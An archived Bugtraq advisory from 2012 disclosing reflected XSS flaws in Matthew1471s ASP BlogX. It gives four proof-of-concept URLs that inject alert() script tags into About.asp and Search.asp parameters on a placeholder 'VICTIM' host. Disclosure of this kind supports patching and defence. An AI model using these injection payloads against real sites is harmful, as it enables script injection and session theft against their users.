bugtraq - Matthew1471s ASP BlogX - XSS Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201203261603.q2QG3HDJ000392@sf01web3.securityfocus.com>
Date: Mon, 26 Mar 2012 16:03:17 GMT
From: demonalex@....com
To: bugtraq@...urityfocus.com
Subject: Matthew1471s ASP BlogX - XSS Vulnerabilities

Title: Matthew1471s ASP BlogX - XSS Vulnerabilities

Software : Matthew1471s ASP BlogX

Software Version : 12 August 2008

Vendor: http://blogx.co.uk/ 

Vulnerability Published : 2012-03-26

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:P/I:N/A:N)

Bug Description :
Matthew1471s ASP BlogX(version update : 12 August 2008) is vulnerable to XSS.

Proof Of Concept :
1)ShowOriginal in About.asp , PoC:
http://VICTIM/About.asp?ShowOriginal="><SCRIPT>alert("demonalex");</SCRIPT>&ShowNew=a&ShowChanges=b

2)ShowNew in About.asp , PoC:
http://VICTIM/About.asp?ShowOriginal=Y&ShowNew="><SCRIPT>alert("demonalex");</SCRIPT>&ShowChanges=b

3)ShowChanges in About.asp , PoC:
http://VICTIM/About.asp?ShowOriginal=Y&ShowNew=a&ShowChanges="><SCRIPT>alert("demonalex");</SCRIPT>

4)Search in Search.asp , PoC:
http://VICTIM/Search.asp?Search=</title><SCRIPT>alert("demonalex");</SCRIPT>&Page=0

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@...nect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK